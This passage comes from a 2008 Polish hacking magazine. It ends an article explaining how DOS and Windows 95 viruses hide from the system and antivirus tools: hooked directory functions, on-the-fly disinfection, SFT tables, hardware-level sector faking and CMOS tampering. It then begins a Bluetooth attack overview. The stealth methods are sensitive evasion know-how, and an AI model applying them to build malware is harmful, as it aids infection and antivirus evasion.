pola opisu pozycji katalogu, zwracanego 
po jej bezbłędnym wykonaniu w buforze 
DTA (ang. Disk Transfer Area), których opis 
przedstawiono w kolejnych tabelach.

Podczas odwołań do struktury FCB 

należy pamiętać, iż istnieją dwie wersje 
opisu bloku FCB: zwykła i rozszerzona, 
będąca rozwinięciem bloku zwykłego 
(zawiera dodatkowe pola). Jeżeli pierwszy 
bajt bloku jest równy 0FFh, mamy do 
czynienia z rozszerzonym blokiem opisu 
pliku. Adres DTA uzyskuje się za pomocą 
funkcji (

2F/21

), która umieszcza go w 

rejestrach ES:BX. Po powrocie z funkcji 
wskazują one bezpośrednio na pole opisu 
pozycji katalogu, w którym już bez przeszkód 
można odpowiednio modyfikować pola 
długości pliku (1C-1F) oraz czasu i daty 
ostatniej modyfikacji (18-19 i 1A-1B).

Nakładki operujące na krótkich 

nazwach plików (tzn. 8 znaków nazwy 
i 3 znaki rozszerzenia) używają do 
przeglądania katalogu funkcji (

4E

4F/21

). 

Wynik wywołania tych funkcji zwracany 
jest w buforze DTA, jednak format opisu 
znalezionej pozycji katalogu jest inny niż 
podczas wywoływania funkcji (

11,12/

21

).  Nie zmienia się natomiast sam 

sposób oszukiwania systemu. Po wykryciu 
wywołania którejś z funkcji, należy najpierw 
uruchomić ją za pomocą pierwotnego 
programu obsługi, a następnie odczytać 
adres bufora DTA i zmodyfikować 
odpowiednie pola struktury.

Pola struktury DTA pokazano w Ramce. 

Najważniejsze z nich to: długość pliku 

Struktura DTA

•   00 – znaczenie poszczególnych bitów:

•   bity 6-0 – numer napędu,
•   bit 7 – jeśli jest ustawiony, oznacza plik zdalny,

•   01-0B – szablon poszukiwanych pozycji katalogu,
•   0C – atrybuty poszukiwanej pozycji,
•   0D-0E – numer pozycji w katalogu,
•   0F-10 – numer JAP katalogu nadrzędnego,
•   11-14 – zarezerwowane,
•   15 – atrybut znalezionej pozycji katalogu,
•   16-17 – czas ostatniej modyfikacji znalezionej pozycji katalogu,
•   18-19 – data ostatniej modyfikacji znalezionej pozycji katalogu,
•   1A-1D – długość znalezionej pozycji katalogu,
•   1E-2A – nazwa i rozszerzenie pliku.

Struktura FindData

•   00-03 – atrybuty pliku:

•   bity 0-6 – standardowe atrybuty plików DOS,
•   bit 7 – plik tymczasowy (temporary),

•   04-0B – czas i data utworzenia pliku,
•   0C-13 – czas i data ostatniego dostępu do pliku,
•   14-1B – czas i data ostatniej modyfikacji pliku,
•   1C-1F – długość pliku (bardziej znaczące 32 bity),
•   20-23 – długość pliku (mniej znaczące 32 bity),
•   24-2B – zarezerwowane,
•   2C-12F – 260-bajtowe pole pełnej nazwy pliku (jako ASCIIZ),
•   130-13D – 14-bajtowe pole krótkiej nazwy pliku (jako ASCIIZ).

background image

ATAK

26

 

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

27

 

HAKIN9 

4/2008

(adres 1A-1D) oraz czas i data ostatniej 
modyfikacji (adresy 16-17 i 18-19).

Wraz z pojawieniem się systemu 

Windows 95 wprowadzono tzw. 
długie nazwy plików, którymi 
zastąpiono dotychczas używane 
(jedenastoznakowe). Mechanizm obsługi 
długich nazw plików jest dostępny 
wyłącznie wtedy, gdy aktywny jest system 
Windows oraz gdy zainstalowany jest tzw. 
Menedżer IFS.

Za obsługę długich nazw plików 

odpowiedzialna jest w systemie DOS 
funkcja (714E/21), gdzie 4E oznacza 
numer podfunkcji przekazywanej 
w rejestrze AL – za pomocą takich 
podfunkcji zdublowano funkcje 
(z dokładnością do numerów) 
operujące na plikach, a dostępne we 
wcześniejszych wersjach systemu 
DOS. Za przeszukiwanie zawartości 
katalogu są więc odpowiedzialne dwie 
podfunkcje (

714E,714F/21

), operujące na 

wprowadzonej wraz z systemem Windows 
95 strukturze o nazwie FindData. 

Opisane funkcje są wykorzystywane 

m. in. przez polecenie DIR wywoływane 
w oknie Tryb MS-DOS (w systemie 
Windows 95).

Aby umożliwić różnym aplikacjom 

działającym w 32-bitowym środowisku 
graficznym obsługę długich nazw plików, 
ale bez konieczności odwoływania się 
do funkcji 16-bitowego systemu DOS, 
Windows 95 udostępnia analogicznie 
działające funkcje poprzez tzw. API (ang. 
Application Program Interface), stanowiące 
odpowiednik przerwania 21h dla systemu 
DOS. Kod większości funkcji systemowych 
dostępnych przez API zawarty jest w 
pliku KERNEL32.DLL, będącym częścią 
jądra systemu. Na przykład funkcji 

714E

 

odpowiada funkcja 

FindFirstFileA

, zaś 

funkcji 

714F

 – funkcja 

FindNextFileA

. Z 

funkcji tych korzysta większość programów 
działających w systemie Windows 95, m. 
in. Eksplorator, a także różne programy 
nakładkowe, np. Windows Commander 95. 
Zatem przejęcie kontroli nad tymi funkcjami 
pozwala na użycie techniki stealth również 
w systemie Windows 95 (ze względów 
oczywistych pomijam Windows XP). Adresy 
powyższych funkcji można odczytać z pliku 
KERNEL32.DLL, a uzyskane w ten sposób 
offsety należy zmodyfikować poprzez 
dodanie do nich adresu, pod którym 
znajduje się KERNEL32.DLL w pamięci. 
Niestety, odczytanie tego adresu w sposób 
bezpośredni, bez używania funkcji API nie 
jest takie łatwe. Pierwszy wirus dla Windows 
95 (Bizatch lub inaczej Boza) korzysta 
przy dostępie do funkcji systemowych 
ze stałego adresu, zapamiętanego w 
kodzie wirusa. Ze względu na to, że adres 
ten zmienia się w różnych podwersjach 
systemu Windows 95, należy przed jego 
użyciem sprawdzić, czy rzeczywiście jest 
on właściwy. Opis struktury FindData 
zamieszczono w osobnej Ramce.

Podawanie oryginalnych 
długości i zawartości plików

Aby w pełni oszukiwać system, należy 
oprócz prawdziwych długości plików 
podawać także ich prawdziwą zawartość. 
W tym celu oprócz funkcji przeszukujących 
zawartość katalogu trzeba kontrolować 
funkcje służące do manipulowania 
zawartością plików. Najprościej w 
momencie otwierania pliku leczyć go, a w 

chwili zamykania – ponownie infekować. 

Powyższa metoda ma jednak kilka 

niedociągnięć. Główną jej wadą jest 
to, iż nie sprawdzi się ona na pewno 
na dyskach zabezpieczonych przed 
zapisem (klasycznym przykładem jest 
tu płyta CD lub zabezpieczona przed 
zapisem dyskietka). Należy też pamiętać, 
iż użytkownik z pewnością zauważy 
częste leczenie i ponowną infekcję plików, 
gdyż wszelkie operacje dyskowe będą 
przebłagały wolniej.

Powyższych wad nie posiada 

natomiast metoda polegająca na tym, 
aby w momencie odczytu dowolnego pliku 
sprawdzać, czy jest to plik zainfekowany i w 
locie leczyć go w pamięci, nie zmieniając 
jednak jego obrazu na dysku. W efekcie 
program odczytujący plik widzi jego 
oryginalną, prawidłową zawartość, zaś 
fizycznie plik nie jest zmieniany. 

Napisanie procedury stosującej 

powyższą metodę nie jest już jednak 
zadaniem tak łatwym, jak w poprzednim 
przypadku; należy rozważyć kilka 
możliwości związanych z położeniem 
wskaźnika zapisu/odczytu w stosunku do 
początku pliku. Aby uprościć to zadanie, 
często stosuje się zabieg polegający na 
tym, że przy otwieraniu zainfekowanego 
pliku zmniejsza się w wewnętrznych 
strukturach DOS (tablica SFT opisana 
poniżej) jego długość o rozmiar wirusa. 
Wtedy jedynym obszarem pliku, którym 
musi zająć się wirus, jest jego początek 
(np. w przypadku nagłówka plików EXE 

Uzyskiwanie informacji

o pliku na podstawie jego uchwytu

•   MOV AX,1220h – weź adres tablicy JFT zawierającej numer SFT,

– opisującej plik podany w BX

•   MOV BX,UchwytPliku – BX zawiera uchwyt (numer) pliku,
•   INT 2Fh – wywołaj funkcję,
•   MOV BL,ES:[DI] – weź numer tablicy SFT,
•   MOV AX,1216h – weź adres tablicy SFT na podstawie numeru w BL,

•   INT 2Fh – wywołaj funkcję, ES:DI wskazuje na tablicę SFT pliku.

Format podtablicy SFT

•   00-03 – Wskaźnik do następnej podtablicy,
•   04 – N – liczba plików w podtablicy,
•   06-40 – Opis pliku nr 1 w podtablicy (patrz następna tablica),
•   41-7B – Opcjonalnie – opis pliku nr 2 w podtablicy (i ewentualnie dalszych – po 3Bh bajtów. 

Rysunek 2. 

Spokojnie, to tylko dane

background image

ATAK

28

 

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

29

 

HAKIN9 

4/2008

wirus powinien przywracać jego prawdziwą 
zawartość), gdyż operacje odczytu nigdy 
nie dojdą do dodanego na końcu pliku 
wirusa.

Przy programowaniu wirusa 

wykorzystującego technikę stealth 
często przydatne są dwie wewnętrzne 
funkcje DOS (

1216/1220/2F

), służące 

do operowania na wewnętrznych 
strukturach DOS, tzw. tablicach SFT 
(ang. System File Table), zawierających 
wszelkie informacje o otwartym pliku. W 
systemie może istnieć kilka podtablic 
SFT, połączonych w łańcuch. Dostęp 
do zawartych w nich informacji o pliku 
uzyskuje się na podstawie uchwytu pliku 
zwracanego przez funkcje (

3D,6C/21

przy jego otwieraniu. Uchwyt ten podaje 
się jako parametr funkcji (

1216/1220/2F

). 

Po ich użyciu najpierw uzyskujemy adres 
tzw. tablicy JFT (ang. Job File Table), 
opisującej pliki otwarte w ramach danego 
procesu. Na jej podstawie otrzymujemy 
adres tablicy SFT opisującej dany plik.

Używa się do tego poniższej sekwencji 

instrukcji (Ramka Uzyskiwanie informacji o 
pliku na podstawie jego uchwytu
)

Jak widać, infekowanie pliku jest 

możliwe nawet przy jego zamykaniu. 
Format podtablicy SFT oraz opis 
pojedynczego pliku podano w osobnych 
Ramkach.

Zamieszczony poniżej wirus stosuje 

technikę semi-stealth w odniesieniu do 
polecenia DIR i popularnych nakładek oraz 
full stealth opartą na tablicach SFT.

Podawanie prawdziwej 
zawartości sektorów 

Oczywiście technikę stealth można 
stosować także w przypadku odczytu 
sektorów; należy przejąć obsługę funkcji 
(

02/13

) oraz ewentualnie (

0A/13

). W 

momencie próby odczytu zarażonego 

MBR lub BOOT-sektora wirus podsuwa 
programowi odczytującemu ich 
oryginalną, nie zainfekowaną zawartość 
(podobnie jak w przypadku plików, 
sektory zainfekowane muszą być w 
jakiś sposób oznaczone, żeby wirus 
mógł je rozpoznać). Aby ustrzec się 
przed programami umożliwiającymi 
odświeżenie tablicy partycji lub BOOT-
sektora, można dodatkowo zabezpieczyć 
sektory zawierające wirusa przed 
zapisem poprzez przejęcie funkcji (

03/13

i ewentualnie (

0B/13

).

Fałszowanie sektorów na etapie 
obsługi przerwań sprzętowych 

W przypadku sektorów istnieje możliwość 
zastosowania techniki tzw. hardware level 
stealth
, która jest rozszerzeniem metody 
opisanej w poprzednim punkcie. Technika 
ta polega na przechwyceniu odwołań 
do dysków już na etapie przerwania 
sprzętowego IRQ 14 (INT 76h) lub poprzez 
przejęcie wywoływanej przez to przerwanie 
funkcji (

9100/15h

), co umożliwia 

oszukiwanie systemu na najniższym 
poziomie programowym. Podczas obsługi 

tego przerwania lub funkcji wirus może 
odczytać z portów lFx dane o aktualnie 
wykonywanej operacji i następnie, w razie 
wykrycia odwołania np. do MBR, zmienić 
rozkaz tak, aby odczytywać inny sektor, 
zawierający kopię oryginalnej zawartości 
MBR.

Sprawdzenie aktualnie wykonywanej 

operacji polega na odczycie bajtu 
z portu 1F7 (rejestr statusowy IDE) i 
przetestowaniu bitów jego młodszej części. 
Jeżeli któryś z nich jest ustawiony (tzn. 
ma wartość l), oznacza to, iż właśnie jest 
wykonywana operacja odczytu. Parametry 
odczytywanego sektora (cylinder, głowicę, 
sektor) można odczytać z portów 1F3, 1F4/
1F5/1F6. Jeżeli odczytane dane są zgodne 
z oczekiwanymi, wirus musi wykonać do 
końca operację odczytu oraz ustawić dane 
w portach kontrolera na inny sektor (np. 
na taki, w którym znajduje się oryginalna 
zawartość odczytywanego sektora).

W efekcie program antywirusowy, 

który używa do odczytu sektorów 
bezpośredniego adresu przerwania int 
13h, zawartego w BIOS-ie, i tak będzie 
oszukiwany przez wirusa. Aby technika 

Opis pliku zawarty w tablicy SFT

•   00-01 – Liczba łączników do pliku,
•   02-03 – Tryb,
•   04 – Atrybut pliku, 
•   05-06 – Informacja o pliku,
•   07-0A – Wskaźnik do nagłówka programu obsługi lub do bloku DPB (Drive Parameter Block),
•   0B-0C – Pierwsza JAP pliku, 
•   0D-0E – Czas ostatniej modyfikacji pliku,
•   0F-11 – Data ostatniej modyfikacji pliku,
•   11-14 – Rozmiar pliku, 
•   15-18 – Aktualna pozycja wskaźnika odczytu/zapisu pliku,
•   19-1A – Względny numer JAP,
•   1B-1E – Położenie elementu katalogu opisującego plik,
•   20-2A – Nazwa i rozszerzenie pliku,
•   2B-2E – Wskaźnik do poprzedniego elementu SFT (pole programu SHARE),
•   2F-30 – Numer komputera w sieci (pole programu SHARE),
•   31-32 – Adres właściciela pliku (jego PSP – Program Segment Prefix),
•   33-34 – Położenie w obszarze roboczym listy zablokowanych regionów pliku (pole programu 

SHARE),

•   35-36 – Numer JAP, 
•   37-3A – Wskaźnik do sterownika IFS (Installable File System) pliku lub 00000000h.

UWAGA! 

Niektóre fragmenty szkodliwego kodu zawarte w artykule, uruchomione bezpośrednio na Twoim 
komputerze, mogą uszkodzić dane – należy zachować ostrożność podczas eksperymentów z 
przedstawionym w tekście malware.

Rysunek 3. 

Walczymy z wirusami

ATAK

background image

ATAK

28

 

HAKIN9 4/2008

KTO KIERUJE KOMPUTERAMI?

29

 

HAKIN9 

4/2008

hardware level stealth zadziałała, sterownik dysku 
musi generować przerwanie IRQ14 (co można ustawić 
programowo) przy realizacji operacji dostępu do dysku.

Modyfikacja CMOS-u

Nowoczesne BIOS-y zawierają mechanizmy 
zabezpieczania niektórych newralgicznych sektorów 
przed zapisem (MBR, BOOT-sektory). W momencie 
wykrycia próby zapisu do któregoś z tych sektorów 
system najczęściej w określony sposób alarmuje 
użytkownika i czasem prosi go o potwierdzenie 
wykonywanej operacji lub też, aby kompletnie 
uniemożliwić tę operację, zawiesza komputer i czeka na 
naciśnięcie klawisza RESET.

To, czy BIOS będzie reagował na próby zapisu 

do newralgicznych sektorów, ustalane jest zwykle z 
poziomu programu SETUP, który dostępny jest po 
naciśnięciu pewnego klawisza (najczęściej [Delete
lub [Ctrl+Alt+Esc]) podczas uruchamiania komputera. 
Ustalone w programie SETUP parametry są po jego 
opuszczeniu zapisywane do podtrzymywanej baterią 
pamięci CMOS.

Korzystając z tego, iż pamięć ta dostępna jest 

programowo, można zmodyfikować określone dane 
– tak, aby np. na chwilę odblokować zapis do MBR. 
Wymaga to jednak znajomości różnych systemów 
BIOS, gdyż znajdująca się w nich pamięć CMOS 
ma zazwyczaj zawartość odmienną od pamięci w 
innych komputerach, a jej zgodność ogranicza się 
do ustalonego znaczenia początkowych komórek 
tej pamięci (co jest konieczne ze względu na 
kompatybilność).

Drugim parametrem możliwym do zmodyfikowania 

w CMOS-ie jest wartość określająca, jakie napędy 
dyskietek zamontowane są w komputerze. Wirus może 
wyzerować tę wartość – tak, iż przy starcie BIOS nie 
będzie widział żadnej dyskietki i będzie próbował 
załadować system z twardego dysku (z MBR), razem 
ze znajdującym się w nim wirusem. Po załadowaniu 
wirus przywraca parametry dyskietek w CMOS-ie i 
następnie sprawdza, czy napęd FDD zawiera dyskietkę 
i ewentualnie wczytuje z niej BOOT-sektor, po czym 
oddaje do niego sterowanie.

Zainstalowany w systemie wirus przy odwołaniach 

do dyskietek ustawia parametry w CMOS-ie, a po ich 
zakończeniu znowu je kasuje, tak więc po wyłączeniu 
komputera parametry w CMOS-ie będą najczęściej 
skasowane. Takie działanie dość mocno utrudni 
załadowanie systemu z czystej dyskietki, zwłaszcza jeśli 
wirus potrafi także zainstalować w pamięci CMOS hasło, 
uniemożliwiające przeciętnemu użytkownikowi dostanie 
się do programu SETUP.

Rafał Podsiadły

Informatyk, administrator, serwisant sprzętu i programów. Autor fascynuje się 

programowaniem, szczególnie C++ oraz nowymi technologiami.

Kontakt z autorem: rafalpa@interia.pl

background image

30

 

HAKIN9

ATAK

4/2008

T

echnologia Bluetooth jest kontynuacją 
takich interfejsów jak IRDA czy FastIRDA 
W stosunku do swoich młodszych braci 

nie jest konieczne, aby elementy nadawczo-
odbiorcze urządzeń były wzajemnie widoczne 
i umieszczone maksymalnie blisko siebie. 
Dodatkowo technologia Bluetooth zapełnia 
tworzenie mini-sieci wielu urządzeń, co nie było 
możliwe w przypadku technologii IRDA .

Co to jest Bluetooth?

Bluetooth to standard technologii 
bezprzewodowej, opracowany przez 
konsorcjum SIG, w skład którego weszły m. 
in. firmy EricssonNokiaIBMMotorolaIntel 
Toshiba. Technologia Bluetooth korzysta z 
sygnałów radiowych o niewielkim zasięgu 
w celu umożliwienia komunikacji pomiędzy 
takimi urządzeniami, jak telefony komórkowe, 
komputery przenośne czy inne podręczne 
urządzenia. Technologia może być zastosowana 
niemal w dowolnym urządzeniu elektronicznym, 
jak np. sprzęt gospodarstwa domowego, 
urządzenia elektroniczne w samochodzie, 
elektronika domowa, telefony komórkowe, 
urządzenia PDA czy wreszcie stacjonarne 
wyposażenie biurowe. Pierwsza, obejmująca 
1500 stron specyfikacja, została opublikowana 
przez SIG w 1999 roku, a została zatwierdzona 
przez grupę standaryzacyjną IEEE trzy lata 
później.

MARIAN WITKOWSKI

Z ARTYKUŁU 

DOWIESZ SIĘ

jakie niebezpieczeństwa 

niesie ze sobą nieumiejętnie 

korzystanie z technologii 

Bluetooth,

jak prostymi metodami 

zminimalizować ryzyko 

nieautoryzowanego dostępu do 

urządzeń wyposażonych 

w Bluetooth.

CO POWINIENEŚ 

WIEDZIEĆ

jak zainstalować moduł BT 

w komputerze, 

jak korzystać z modułu BT 

w telefonie/PDA,

mieć rozeznianie w korzystaniu 

z usług GSM (SMS, MMS, 

aplikacje Java/Symbian).

Jako ciekawostkę należy przytoczyć, że 

nazwa technologii pochodzi od przydomka króla 
duńskiego Haralda Sinozębego, który w X wieku n. 
e. podporządkował sobie Norwegię i tym samym 
przyczynił się do zjednoczenia rywalizujących 
plemion z Danii i Norwegii. Tak więc istotą 
Bluetooth’a jest łączyć i umożliwiać komunikację 
urządzeń o różnym przeznaczeniu.

Bluetooth został zaprojektowany do 

komunikacji na stosunkowo niewielkie 
odległości – do 10 metrów, jednak obecnie 
zasięg w zależności od klasy urządzenia jest 
zmienny i może wynosić:

Niezależnie od wyżej wymienionych 

danych, możliwe jest uzyskanie za pomocą 
odpowiednich konstrukcji anten nadawczo-
odbiorczych większego zasięgu, który może 
zostać wykorzystany (niestety) przy ewentualnej 
próbie nieautoryzowanego dostępu.

Bluetooth zapewnia nam szybszą transmisję 

danych niż ma to miejsce w przypadku 
interfejsu IRDA . W zależności od wersji interfejsu 
może ona wynosić: dla Bluetooth w wersji 1.0, 
1.1, 1.2 – 721 kb/s, dla wersji 2.0 – do 2 Mb/s, 
a z obsługą EDR (Enhanced Data Rate) – aż do 
3 Mb/s.

Architektura Bluetooth

Urządzenia wykorzystujące technologię Bluetooth 
łączą się w tzw. pikosieci (ang. piconet). W ramach 
takiego układu może istnieć jeden węzeł typu 

Stopień trudności

Hakowanie 

Bluetooth

Do niedawna wielu z nas wydawało się, że ostatnim 'ogniwem' 

mobilności w przypadku telefonii są telefony komórkowe. Jednak 

w miarę odkrywania nowych możliwości zastosowań tego typu 

sprzętu nie tylko do typowej komunikacji głosowej, rozwinęły się 

technologie, w których komórka jest tylko elementem łączącym 

ogniwa łańcucha komunikacyjnego, a sieć GSM – jednym z 

dostępnych sposobów na przekazywanie informacji.

background image

31

 

HAKIN9 

HAKOWANIE BLUETOOTH

4/2008

Master oraz maksymalnie 7 węzłów typu 
Slave. Maksymalna pojemność pikosieci 
to 255 węzłów – jednakże urządzenia 
podłączone do tych węzłów znajdują się w 
trybie synchronizacji z węzłem Master i nie 
uczestniczą w aktywnej wymianie informacji. 
Wymiana danych w pikosieci występuje 
tylko między węzłem Master oraz Slave
Możliwe jest łączenie pikosieci – w takim 
przypadku jeden z węzłów typu Slave ma 
możliwość komunikacji z dwoma węzłami 
typu Master. Taki mostek sieciowy nosi 
nazwę scatternet.

Szum w eterze,

czyli warstwa radiowa

Jako technologia bezprzewodowa, 
Bluetooth wykorzystuje emisję radiową 
o małej mocy w paśmie 2,4 GHz. Dane 
są transmitowane w pakietach, z których 
każdy jest nadawany i odbierany na innej 
częstotliwości. Dla technologii Bluetooth 
minimalna częstotliwość pracy wynosi 
2402 MHz, a maksymalna – 2480 MHz. 
Pasmo to podzielono na 79 kanałów 
oddalonych od siebie o 1 MHz. Przeskoki 
między częstotliwościami odbywają się 
1600 razy na sekundę, tak więc czas pracy 
na jednym kanale (tzw. Time Slot) wynosi 

625 mikrosekund. System wykorzystuje 
modulację FSK (Frequency Shift Keying). 
Skoki częstotliwości determinowane 
są przez węzeł Master. Niestety, w tym 
samym paśmie pracują również sieci 
bezprzewodowe w standardzie 802.11, 
co wpływa na możliwość interferencji 
sygnałów. Jednak z uwagi na to, że skoki 
częstotliwości są szybsze dla Bluetooth’a
to właśnie on będzie w większym stopniu 
zakłócał transmisję sieci 802.11. Aby 
przeciwdziałać tego typu problemom, 
interfejsy Bluetooth wyposażane są 
w mechanizm Adaptive Frequency 
Hopping
 (AFH), który unika połączeń na 
interferujących kanałach.

Warstwy Bluetooth

Interfejs Bluetooth został stworzony 
z wykorzystaniem wielu protokołów.. 
Poszczególne elementy stosu protokołów 
podzielono na trzy grupy logiczne:

•   grupę protokołów transportowych,
•   grupę protokołów pośredniczących,
•   grupę aplikacji.

Protokoły transportowe umożliwiają 
urządzeniom Bluetooth wzajemne 

lokalizowanie się oraz tworzenie, 
konfigurowanie i zarządzanie zarówno 
fizycznymi, jak i logicznymi połączeniami. 
W skład protokołów grupy wchodzą 
protokoły radiowe, pasma podstawowego, 
menedżera połączenia, połączenia 
logicznego i adaptacji oraz interfejsu 
kontrolera hosta HCI (Host Controller 
Interface
). Protokoły transportowe w 
odniesieniu do modelu OSI nie znajdują 
się jednak w warstwie transportowej, a w 
warstwie fizycznej oraz warstwie łącza.

Protokoły pośredniczące zawierają 

zarówno protokoły oraz standardy 
przemysłowe, jak i protokoły opracowane 
przez SIG specjalnie z myślą o 
bezprzewodowej komunikacji Bluetooth. 
Do tych pierwszych należy zaliczyć 
protokoły związane z Internetem 
(PPP, IP, TCP itp.), protokoły aplikacji 
bezprzewodowych, protokoły przesyłania 
obiektów adaptowane ze standardu IrDA 
Do kolejnego zestawu należą protokoły 
zaprojektowane specjalnie dla komunikacji 
i pozwalające innym aplikacjom na 
korzystanie z połączeń Bluetooth. Oto one:

•   protokół emulacji portu szeregowego 

(RFCOMM),

Rysunek 1. 

Urządzenia wykorzystujące interfejs Bluetooth

�������������

���������

����������

�������������������

������������

�����������������

�����������������

�����������������

����������������

���������������

����������

background image

ATAK

32

 

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

33

 

HAKIN9 

4/2008

•   protokół sygnalizacyjny połączeń 

pakietowych, umożliwiający 
sterowanie funkcjami telefonicznymi 
(TCS),

•   protokół wyszukiwania usług (SDP) 

pozwala urządzeniom rozpoznawać 
funkcje innych urządzeń

•   protokół współpracy z aplikacjami w 

standardzie IrDA. 

Grupa aplikacji składa się z modułów 
umożliwiających bezpośrednią 
komunikację z innymi urządzeniami na 
poziomie aplikacyjnym, np. sterowanie 
komendami modemu, przesyłanie 
wizytówek (vCard) czy dostęp do 
protokołu WAP.

Barwy obronne

Interfejs Bluetooth oferuje pracę w różnych 
trybach bezpieczeństwa:

•   Tryb 1 – niechroniony. W trybie tym 

nie wykorzystuje się szyfrowania ani 
uwierzytelnienia, a samo urządzenie 
działa w trybie niedyskryminacyjnym, 
przykładowo w trybie nadawania lub 
odbierania. 

•   Tryb 2 – oparty na aplikacji/usłudze 

(L2CAP). W trybie tym po nawiązaniu 
połączenia Security Manager 
przeprowadza uwierzytelnienie, co 
ogranicza dostęp do urządzenia. 

•   Tryb 3 – uwierzytelnianie w oparciu 

o PIN/szyfrowane adresy MAC. 
Uwierzytelnienie dokonywane jest 
przed nawiązaniem połączenia.

Jakość użytych kodów PIN rzutuje na poziom 
bezpieczeństwa. Kod PIN może mieć od 
1 do 16 bajtów, aczkolwiek zazwyczaj ma 
on długość 4 bajtów. Do wygenerowania 
pierwszego klucza – tzw. Link Key – o 
długości 16 bajtów wykorzystywany jest 
algorytm E2. Na podstawie tego klucza 
generowany jest klucz szyfrowania. Link Key 
używany jest do uwierzytelniania połączenia, 
a drugi klucz – do szyfrowania danych. 

Uwierzytelnianie pomiędzy urządzeniami 
wygląda następująco:

•   Urządzenie inicjujące wysyła najpierw 

swój adres (BD_ADDR). 48-bitowy 
adres jest unikatowy i jest podobny 
do adresu MAC.

•   W odpowiedzi wysyłany jest 

wybierany losowo 128-bitowy ciąg 
(AU_RAND).

•   W oparciu o BD_ADDR, Link Key oraz 

AU_RAND oba urządzenia generują 
ciąg SRES.

•   Urządzenie inicjujące wysyła swój 

SRES.

•   Drugie urządzenie porównuje 

otrzymany SRES ze swoim własnym, 
a w przypadku zgodności obu ciągów 
połączenie zostaje nawiązane.

Na podstawie wartości BD_ADDR, 
AU_RAND oraz SRES, możliwe jest 
zdekodowanie kodu PIN.

Jak każda cyfrowa technologia 

bezprzewodowa, tak i Bluetooth został 
wyposażony w mechanizmy (mniej lub 
bardziej skuteczne) do zapewnienia 
bezpiecznej transmisji pomiędzy 
urządzeniami w niego wyposażonymi.
Należą do nich:

•   'Parowanie' urządzeń – mechanizm 

ten polega na tym, że aby 
dany interfejs Bluetooth został 
dopuszczony do węzła pikosieci przed 
rozpoczęciem transmisji, musi zostać 
ustalony klucz autoryzacyjny z węzłem 
typu Master – jest to zazwyczaj PIN 
o długości 4-16 znaków. Niestety, 
niektóre urządzenia wyposażone 
Bluetooth mają wprowadzone 
domyślnie kody takie, jak 0000 czy 
1234, co skutecznie wpływa na 
obiżenie poziomu bezpieczeństwa.

•   Uwierzytelnianie za pomocą 

algorytmu SAFER+. Niestety, w 2005 
roku Yaniv Shaked i Avishai Wool 
z Izraela opracowali mechanizm 

łamania PINu wykorzystujący cechy 
algorytmu SAFER+ (4-cyfrowy PIN 
w 0,063 sekundy, a 7-cyfrowy w 76 
sekund).

•   Szyfrowanie połączeń z 

wykorzystaniem algorytmu E0
Niestety, w 2005 roku odzyskano klucz 
szyfrujący z E0 przy 238 operacjach 
znając pierwsze 24 bity klucza i 
posiadając 223.8 ramek ruchu.

•   Włączanie trybu ukrywania urządzenia 

wyposażonego w Bluetooth. Niestety, 
tryb ten nie powoduje dezaktywacji 
usług, a jedynie odrzucanie żądań 
wysyłanych przez SDP innego 
interfejsu Bluetooth.

•   Mały zasięg. Niestety, dostępne 

anteny kierunkowe pozwalają obecnie 
na zwiększenie zasięgu do kilkuset 
metrów.

•   Częste przeskoki międzykanałowe. 

Skorzystano z istniejącej już techniki 
rozpraszania widma sygnału z 
przeskokiem częstotliwości (Spread 
Spectrum with Frequency Hopping
). 
Niestety, dostępne analizatory widma 
pozwalają przynajmniej na podsłuch 
transmisji – choć jej analiza jest 
trudna i być może nieopłacalna.

Choć powyższy opis mechanizmów 
bezpieczeństwa jest dość defetystyczny, 
to nie powinno nas to zniechęcać do 
korzystania z technologii Bluetooth.

Ataki Bluetooth

Przyznam się szczerze, że problem 
ten dotknął mnie osobiście 2 lata 

Rysunek 2. 

Scatternet

����������

�������

�������

�������

Tabela 1. 

Klasy urządzeń bluetooth

Klasa urządzenia

Moc

Zasięg

1

100 mW

do 100 m

2

2,5 mW

Do 10 m

3

1 mW

Do 1 m.

background image

ATAK

32

 

HAKIN9 4/2008

HAKOWANIE BLUETOOTH

33

 

HAKIN9 

4/2008

temu. Pracowałem w firmie zajmującej 
się integracją usług SMSowych oraz 
dostarczającej treści multimedialnych 
do telefonów komórkowych. Przez 
większość czasu moja Nokia 3650 miała 
włączony interfejs Bluetooth z uwagi 
na konieczność testowania różnego 
rodzaju usług i aplikacji mobilnych. 
Jakież było moje zdziwienie, gdy 
pewnego razu wchodząc do jednego 
z warszawskich hoteli, usłyszałem 
dzwonek informujący o nadejściu 
SMSa, a na ekranie komórki pojawił 
się monit z pytaniem o rozpoczęcie 
pobierania pliku z rozszerzeniem SIS 
(w ten sposób dystrybuowane są 
aplikacje Symbian). Zdaje się, ze jakiś 
nieszczęśnik posiadający zainfekowany 
telefon, nieświadomie próbował infekować 
inne aparaty. Od tego czasu Bluetooth 
włączam tylko wtedy, gdy jest to konieczne. 
Po tym, nieco osobistym, wstępie 
przyjrzyjmy się możliwym sposobom 
ataków z wykorzystaniem interfejsu 
Bluetooth.

Robaki, wirusy i trojany

Bluetooth sam w sobie może zostać 
użyty jako transporter wszelkiego rodzaju 
złośliwego oprogramowania, które – 

summa summarum – spowodować może 
w naszym telefonie takie niepożądane 
działania, jak: szybsze rozładowanie 
baterii poprzez dużą aktywność 
Bluetootha (próba infekcji kolejnych 
urządzeń), rozsyłanie wiadomości SMS 
do osób z książki adresowej czy łączenie 
z numerami o podwyższonej taryfikacji. 
Klasycznym przykładem takiego robaka 
jest Mabir.A , który po odebraniu SMSa 
lub MMSa wysyła pod numer nadawcy 
wiadomość MMS zawierającą własną 
kopię. Na szczęście coraz więcej firm 
zajmujących się ochroną antywirusową 
ma w swojej ofercie oprogramowanie do 
detekcji i usuwania wirusów instalujących 
się w telefonach GSM czy PDA 
Przykładem takiej aplikacji jest Kaspersky 
Anti-Virus Mobile
.

BlueSnarf

BlueSnarf jest prawdopodobnie 
najpopularniejszym atakiem Bluetooth
Odkryty został przez Marcela Holtmanna 
w październiku 2003. Wykorzystuje błąd 
implementacji mechanizmu wymiany 
wizytówek w niektórych telefonach 
Nokia i Sony Ericsson. Atakujący 
wykorzystuje mechanizm OBEX Push 
Profile
 (OPP), zaprojektowany w celu 

wymiany wizytówek i innych obiektów. 
W większości przypadków usługa ta nie 
wymaga uwierzytelniania. Atak BlueSnarf 
polega na wysłaniu żądania OBEX GET 
dla znanych powszechnych plików, takich 
